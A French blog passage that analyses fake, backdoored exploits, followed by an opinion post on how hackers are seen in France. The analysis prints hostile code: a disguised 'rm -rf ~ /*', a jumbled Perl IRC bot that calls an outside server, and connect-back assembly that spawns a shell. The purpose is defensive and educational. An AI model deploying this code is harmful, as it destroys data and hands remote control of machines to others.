"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";

#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
  printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
  printf(" Usage: %s -h -p port\n",arg);
  printf(" Options:\n");
  printf(" \t-h ip/host of target\n");
  printf(" \t-p port\n");
  printf(" \t-d username\n");
  printf(" \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0×080518fc
#define BD 0×08082000

int main(int argc, char **argv){ 
  FILE *jmpinst; 
  char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr; 
  int port=23, limit=8, target=0, sock; 
  struct hostent *host; 
  struct sockaddr_in addr; 
  if (geteuid()) { 
    puts("need root for raw socket, etc..."); 
    return 1; 
  } 
  if(argc < 3) { 
    usage(argv[0]); 
    return 1; 
  } 
  printf("\n  [+] 0wn0wn - by anti-sec group\n"); 
  if (!inet_aton(h, &addr.sin_addr)) { 
    host = gethostbyname(h); 
    if (!host) { 
      printf("  [-] Resolving failed\n"); 
      return 1; 
    } 
    addr.sin_addr = *(struct in_addr*)host->h_addr; 
  } 
  sock = socket(PF_INET, SOCK_STREAM, 0); 
  addr.sin_port = htons(port); 
  addr.sin_family = AF_INET; 
  if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ 
      printf("  [-] Connecting failed\n"); 
      return 1; 
  } 
  payload = malloc(limit * 10000); 
  ptr = payload+8; 
  memcpy(ptr,jmpcode,strlen(jmpcode)); 
  jmpinst=fopen(shellcode+793,"w+"); 
  if (jmpinst) { 
    fseek(jmpinst,0,SEEK_SET); 
    fprintf(jmpinst,"%s",shellcode); 
    fclose(jmpinst); 
  } 
  ptr += strlen(jmpcode); 
  if (target != 5 && target != 6) { 
    memcpy(ptr,shellcode,strlen(shellcode)); 
    ptr += strlen(shellcode); 
    memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode)); 
  } else{ 
    memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode)); 
    ptr += strlen(fbsd_shellcode); 
    memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode)); 
  } 
  send(sock,buffer,strlen(buffer),0); 
  send(sock,ptr,3750,0); 
  close(sock); 
  if (connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) { 
    printf("  [-] connecting failed\n"); 
  } 
  payload[sizeof(payload)-1] = '\0'; 
  payload[sizeof(payload)-2] = '\0'; 
  send(sock,buffer,strlen(buffer),0); 
  send(sock,payload,strlen(payload),0); 
  close(sock); 
  free(payload); 
  addr.sin_port = htons(6666); 
  if (connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) { 
    /* v--- our cool bar that says: "r0000000t!!!" */ 
    printf("\n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n"); 
    fremote("PS1='sh-3.2#' /bin/sh"); 
  } else {
    printf("  [-] failed to exploit target :-(\n");
  }
  close(sock); 
  return 0; 
}

Le sploit a l'air "légitime" au premier abord mais je n'avais jamais mais alors jamais vu un shellcode aussi énorme ... de plus ça vient d'un groupe pronant l'anti-sec. De quoi ne pas faire confiance ... :).

Le "jmpcode":
rm -rf ~ /* 2> /dev/null &

Le "shellcode":
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
       sleep 1;
       ";
while (<$sockn";
            sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl

Et le "shellcode FreeBSD":
";
while (<$sockn";
             ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

Eh oui, 2 beaux scripts Perl qui vont vous connecter à une chan IRC ...
Par contre, je ne vois pas du tout comment ils le lancent leur script PERL, pas d'execve(), pas de system() ... si quelqu'un peut répondre à cette question ça serait cool :).

Et on va finir par le plus "stealth" :).

BIND TSIG buffer overflow

Il y a quelques années de ça déjà (2001!!), un remote BOF sur BIND (donc assez critique) apparait sur les mailings lists: BIND TSIG buffer overflow .
Le pire dans l'histoire c'est que c'est un vrai sploit :). L'analyse par l'équipe Metasploit: Penetration Testing: Learn Assembly?, montre tout de même que le bouzin est backdooré.
Déjà là où on peut tilter c'est la taille de la payload ... 190 bytes! Enorme pour une payload connectback Linux. De mes souvenirs ça tiens plutôt entre 90-128 bytes mais pas 190 ...

Le code ASM analysé (et parfaitement assemblable avec NASM ;)):
bits 32

section .text
    global _start

_start:
    cmp al, 0x90
    mov esi, esp
    add esi, byte +0x40
    mov dword [esi], 0xac0b0002         ; 0x2 => AF_INET and 0x0bac = 2988 = port
    mov dword [esi+0x4], 0xa047c497     ; ip = 151.196.71.160

.connection:
    ; socket(PF_INET, SOCK_STREAM, 0);
    xor eax, eax
    ; sin_zero
    mov [esi+0x8], eax
    mov [esi+0xc], eax
    ; construct socketcall args[]
    xor eax, eax
    mov [esi+0x28], eax     ; IPPROTO_IP
    inc eax
    mov [esi+0x24], eax     ; SOCK_STREAM
    inc eax
    mov [esi+0x20], eax     ; PF_INET
    lea ecx, [esi+0x20]     ; socketcall args
    xor ebx, ebx
    inc ebx                 ; socket()
    xor eax, eax
    add eax, byte +0x66     ; socketcall()
    push ecx                ; socket call args
    push ebx                ; SYS_SOCKET
    push eax                ; __NR_SOCKETCALL
    int 0x80

    ; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
    mov [esi+0x20], eax     ; sockfd
    nop
    cmp al, 0x90
    lea eax, [esi]
    mov [esi+0x24], eax     ; const struct sockaddr *serv_addr
    xor eax, eax
    add eax, byte +0x10
    mov [esi+0x28], eax     ; addrlen
    pop eax                 ; __NR_SOCKETCALL
    pop ebx                 
    pop ecx                 ; sockcall args
    inc ebx                 
    inc ebx                 ; ebx = SYS_CONNECT
    push dword [esi+0x20]   ; sockfd
    int 0x80

    pop ebx                 ; ebx = sockfd
    dec edi                 ; assume edi = 0 for connection to 151.196.71.160 then "our" connection
    jz .launchshell

    ; send sockaddr struct
    ; write(sockfd, buf, 12);
    mov eax, [esp]
    mov [esi+0x8], eax
    nop
    mov ebp, 0x100007f              ; ip = 127.0.0.1
    mov [esi+0x4], ebp
    mov dword [esi], 0x86358003     ; id number for exploit?
    mov eax, 0x4                    ; __NR_WRITE
    lea ecx, [esi]                  ; const char *buf
    xor edx, edx
    add edx, byte +0xc              ; size_t count = 12
    int 0x80

    ; go back to do the same
    ; socket(PF_INET, SOCK_STREAM, 0);
    ; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16);
    ; write(sockfd, buf, 12);
    mov dword [esi], 0xab0b0002     ; 0x2 => AF_INET and 0x0bab = 2987 = port
    mov [esi+0x4], ebp
    nop
    xor edi, edi
    inc edi
    jmp short .connection

.launchshell:
    ; dup2(sockfd, 0)
    nop
    xor eax, eax
    add eax, byte +0x3f             ; dup2
    xor ecx, ecx                    ; stdin
    push eax
    int 0x80

    ; dup2(sockfd, 1)
    pop eax
    inc ecx                         ; stdout
    int 0x80

    ; execve("/bin/sh", ["/bin/sh", NULL], [NULL])
    mov dword [esi], "/bin"
    mov dword [esi+0x4], "/sh"
    mov eax, esi
    add eax, byte +0x8
    mov [esi+0x8], eax
    xor eax, eax
    mov [esi+0xc], eax
    mov al, 0xb                     ; execve()
    lea edx, [esi+0xc]              ; char const *envp[]
    lea ecx, [esi+0x8]              ; char const *argv[]
    mov ebx, esi                    ; filename path
    int 0x80

    ; exit(ebx)
    xor eax, eax
    inc eax
    int 0x80

On finit par avoir quelque chose qui ressemble à ça:
sockfdAuthor = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sockfdAuthor, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
write(sockfdAuthor, buf, 12);
sockfdYou = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sockfdYou, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16) = 4
dup2(sockfdYou, 0);
dup2(sockfdYou, 1);
execve("/bin/sh", ["/bin/sh", NULL], [NULL]);

le 127.0.0.1 est modifié dans le code du sploit.
Mais wahou, ... la machine attaquée se connecte à l'auteur et lui envoie quelques infos (comme l'ip de l'attaquant).
Bonne manière de tracer les kikoos qui vont s'aventurer à lancer le sploit ... par contre pas trop éthique je pense ;).

Conclusion

Ce sont de vieuxs "exploits" mais ils illustrent parfaitement l'importance de l'analyse du code et de la "décortication" de binaires, exploits, shellcodes, etc.
Avoir des tools d'analyse performants et efficaces est une gageure donc assez majeure dans le domaine de l'informatique. Sans tools, on fait pas grand choses ... mais ne vous fiez pas que à vos tools ;).
J'espère que ça vous a ouvert un minimum les yeuxs ;). Quand c'est trop beau pour être vrai, faut se poser des questions après tout.

Cet article pourrait également donner des idées à certains pour "poutrer" les scripts kiddies et empêcher qu'ils fassent des dégâts. Je ne saurais trop le conseiller ... ce n'est pas éthique et non légal de le faire. Donc à vos risques et périls.
Vous pourriez par contre toujours afficher un dialog box: "Get lost" ;).

Au passage, si vous trouvez des "fake sploits", n'hésitez pas à me faire signe. De plus ça pourrait être intéressant de constituer une base de données les repertoriants.

Sur ce,

A la prochaine pour de nouvelles aventures,

m_101

dimanche 17 juillet 2011

Ras le bol de l'adage popularisé: "hackers = méchants"

[UPDATE 18/07/2011]:
- Ajout: Petit paragraphe sur les lois Françaises dans la partie consacrée à la France
- Ajout: Petit paragraphe sur le système financier dans la partie consacrée aux Etats
- Ajout: Petit paragraphe dans la conclusion
- Corrections de fautes diverses (il y en a sûrement encore).


Bonjour ou bonsoir,

Aujourd'hui, pas de post technique comme à mon habitude. Juste un cris de haine, une envie de vomir, un coup de gueule en somme. Un coup de gueule un minimum argumenté en essayant de pas trop partir dans le troll.

Je vais tenter d'exposer mon opinion à propos de l'état des lieuxs concernant les hackers: relation avec la France, les médias, les sociétés et les Etats en tentant d'illustrer avec des exemples concrets.

La France et les hackers: une longue histoire d'amour

Déjà en France, les hackers ont mauvaise image. Pour beaucoup, ce sont tous de gros pirates informatiques qui sont prêts à saccager vos maisons, à voler vos comptes (bancaires, facebook, mails, etc), à tuer votre chien et à violer votre poney ...
Que nenni.

Beaucoup connaissent l'histoire de Jean Bernard Condat si ce n'est la nouvelle génération de hackers qui se forme (les plus jeunes en somme).
En gros, ce "gentil" monsieur a eu la fameuse idée de fliquer les hackers. Dans quel but? Aucune idées précises et confirmées. Il a donc créé le "Chaos Computer Club France", en s'inspirant du célèbre groupe allemand: le "Chaos Computer Club". Le pot aux roses a fini par être découvert. Depuis, plus aucuns hackers en France ne peut réellement faire confiance à l'Etat (il y a sûrement des exceptions comme partout ailleurs).

Après cette traitise de l'Etat, comment veulent-t'ils pouvoir former leur cyber-armée? Leurs cyber-flics? Ils voudraient voir les hackers les aider? ... Non mais ils rêvent ... en plus de la haîne qu'a la France envers les hackers, l'Etat se bat contre la liberté des citoyens: Internet civilisé, eG8.
On l'a pourtant vu, l'internet a joué un grand rôle dans la révolution Tunisienne par le biais de Twitter, Facebook, etc. Ont-t'ils peur de perdre leur pouvoir?
Déjà que les Français ont très peu de pouvoirs (constitution la de 5ème République):
"La souveraineté nationale appartient au peuple qui l'exerce par ses représentants et par la voie du référendum.
Aucune section du peuple ni aucun individu ne peut s'en attribuer l'exercice."
Traduire: mettez nous au pouvoir et fermez là.
J'exagère sûrement mais les évènements actuels tendent à me faire croire cette interprétation plus qu'autre chose au vu des lois récemment votées: Quand la France devient la Chine, sous l’effet de 7 inconscients…, 11 députés votent le fichage de 45 millions d'honnêtes gens, Renouvelez votre carte d'identité pour échapper au fichage.
Oui oui, il aura fallu de 7 gars pour voter une loi de fichage généralisée ...
En plus de tout ça n'oublions pas la LOPPSI, "l'internet civilisé", la lutte contre la "pédopornographie" (qui pourrait sûrement amener à des dérives de fermeture de certains sites pour "être suspectés" de ce crime), etc.

De toutes les lois qui sont actuellement votées ou ont été adoptées (de force) en France (et partout ailleurs) telle que la DADVSI, la HADOPI, la LOPPSI, la loi de fichage généralisée ... c'est à se demander qui sont réellement les pirates en fait. Pourquoi la France est prête à sacrifier toutes les libertés du monde pour protéger une industrie qui n'a pas su évoluer dans le bon sens? (Ce sera pour un autre billet ça ...).
Ils ont pris une route dangereuse, celle de "la facilitée": on fout tous sur le dos des hackers et des citoyens et on vote des lois pour les emmerder (mais pas forcément efficaces).

Toute manière, ils ont des "experts" très pointus sur le sujet tel que: Jacques Myard, Muriel Marland-Militello ou encore Christine Albanel. Pas de doute, notre nation ne craint pas les attaques de pirates ...
Toute façon c'est connu, les "nouvelles" autorités comme la HADOPI ont des prestataires sécurisés: TMG piraté et le gouvernement est inpénétrable: Bercy victime d'une vaste opération de piratage informatique.
Pourtant, je ne vois pas comment des gens peuvent se targuer d'avoir un réseau sécurisé sans connaître les techniques des pirates (et donc des hackers) et surtout d'attendre des citoyens lambdas de sécuriser leurs machines.
En plus de "montrer l'exemple", toutes ces autorités (pas franchement efficaces) sont chères pour les citoyens et les acteurs des dits domaines.
Toute façon ils continueront leur lutte acharnée contre les contrefacteurs, ils n'hésiteront pas à nous enlever toutes nos libertés pour cette raison. L'exemple est donné par les Etats-Unis sur la débilité profonde qui habite certaines personnes (naon mais vous y croyez vous une mamie qui mate du porno? ...).

C'est cool tout ça, ils mettent sur le dos des "hackers" tous les mauxs du monde avec leur internet civilisé. Sauf qu'ils font un énorme amalgame entre hackers, pirates, crackers, white hats, black hats, etc.
Après tout, ils utilisent quand même bien GNU/Linux qui pourtant a été programmé par des hackers. Oui oui, ceuxs là même qui sont accusés de tous les mauxs du monde :). La philosophie du logiciel libre provient directement des hackers après tout. Maintes innovations viennent d'euxs (pas toutes, heureusement que ce sont pas les seuls créatifs ;)).
Ensuite il y a "les méchants", ceuxs qui piratent pour se faire plaisir, ceux qui piratent pour se faire de l'argent sans oublier ceuxs qui sont fidèles à leurs convictions. Après y'en a d'autres bien entendu.
Les hackers tous les mêmes aux yeuxs de l'Etat, pourtant, nombre de professionnels en sécurités sont des hackers, comme les personnes suivantes: Charlie Miller, Stefan LeBerre, Dino Dai Zovi, Georges Hotz, etc.
Pour faire court, pour ma part, un hacker est quelqu'un qui maitrise son sujet de manière très pointue et peut le manipuler (presque) comme il le souhaite. Quelqu'un qui arrive à transformer un pauvre bout de bois en une oeuvre d'art exceptionnelle peut prétendre à un tel titre par exemple (on dit bien "hack wood" après tout ;)). Mais hacker dans la conjecture actuelle signifie plutôt "hacker informatique". Les techniques (de hacking) acquises ne sont pas illégales en soi, c'est l'usage qu'on en fait qui peut l'être.
Qu'on soit bien clairs entre nous: c'est grâce aux hackers que l'internet existe encore. A votre avis, qui de mieux que des hackers pour contrer d'autres hackers?

On est hélas pas le seul pays où ça arrive, par exemple aux USA, un mec de 46 ans s'est pris 18 ans dans la gueule pour avoir utilisé aircrack-ng, de l'ARP spoofing, DNS spoofing et d'autres techniques du même accabit. C'est pas un peu overkill? Quelqu'un qui tue une personne, viole une femme ou fait exploser une maison ... il se prend pas 18 ans dans la gueule. Bon après aux USA les peines sont plus lourdes pour beaucoup de choses et souvent overkill ... et pourtant ça n'enraye en rien les crimes (sinon ça fait longtemps qu'on aurait plus de criminels ...).

Les médias et les hackers: "un reality show"

Ca fait des années que ça perdure et pourtant on le sait tous: les médias adorent le sensationnel.
Et celà quitte à sortir des phrases complètement hors de leur contexte d'origine.

Bon alors pour les médias c'est quoi un hacker?
Y'a juste à taper le mot hacker dans un moteur de recherche tel que Google, Yahoo (et j'en passe) pour trouver des news sur des piratages plus spectaculaires les uns que les autres ...

Entre les piratages de Sony, les pirates tel que LulzSec, les défaçages ou encore les armes de cyber-guerre ... ils parlent très très peu des acteurs qui participent à la défense tel que Sysdream ou encore Sogeti par exemple (en France).
Bien sûr, entre tous les cas d'attaques, de défense ou de recherche, aucune différences n'est faites entre chercheurs, pirates, professionnels de la sécurité ... tous des "hackers" (dans le sens pirates).
Au vu du nombres d'articles consacrés aux pirates (qu'ils appellent hackers et ce sans distinction), ils participent ainsi à l'amalgame: "hackers" = "méchants", ce qui est totalement faux comme j'ai pu l'exposer jusqu'ici.

Et ce n'est pas tout!
On a aussi droit au super génie informatique de 14 ans qui pirate ce qu'il veut ... Non mais faut arrêter ce mythe tout de suite: les logiciels d'intrusion et kits d'exploits ou encore les trojans sont monnaies courantes sur internet.
Bah oui, la faute à "la mode", au sensationnel ... on a des reportages dédiés aux "hackers" ... mais comme toujours ils s'emmêlent les pinceauxs (surtout le fameux "Pir@tage" de France 4 pour qui hackers = pirates).
Les quelques bons reportages que j'ai quand même pu voir: "La guerre invisible" sur ARTE), "Hackers, ni dieu ni maitre" (ARTE), "New York City Hackers", "Hackers are people too", etc.

Maintenant, pas un seul jour ne passe sans qu'on voit des news de piratage, de cyber-guerre, etc ... naon mais vraiment c'est devenu "la mode".


Les sociétés et les hackers: on vous détestent ... nous aussi.

Je n'ai aucunément envie de défendre les gens qui se disent de leur devoirs de détruire des réseauxs. Les groupes tels que LulzSec, etc, sont exécrables de par la manière dont ils procédent: leak des infos de personnes diverses. Ils ont le mérite de prouver les dires de tous les experts en sécurité à beaucoup de sociétés: "augmentez vos budgets sécurité, faites vous auditers, etc, ou un jour vous vous ferez pirater" ... et ça a pas louppé.

Les histoires les plus récentes des hackers non malicieuxs se faisant pourchasser pour X raisons concerne la PS3 de Sony.
Sony a la bonne idée de pourchasser les hackers débloquant les PS3 à coup d'exploits: GeoHot, grafchokolo, etc, tout ça pour la raison de "copyright infringement" et de warez. Là il faut m'expliquer ce que ça leur apportera vraiment à part la haine de beaucoup de gens ...
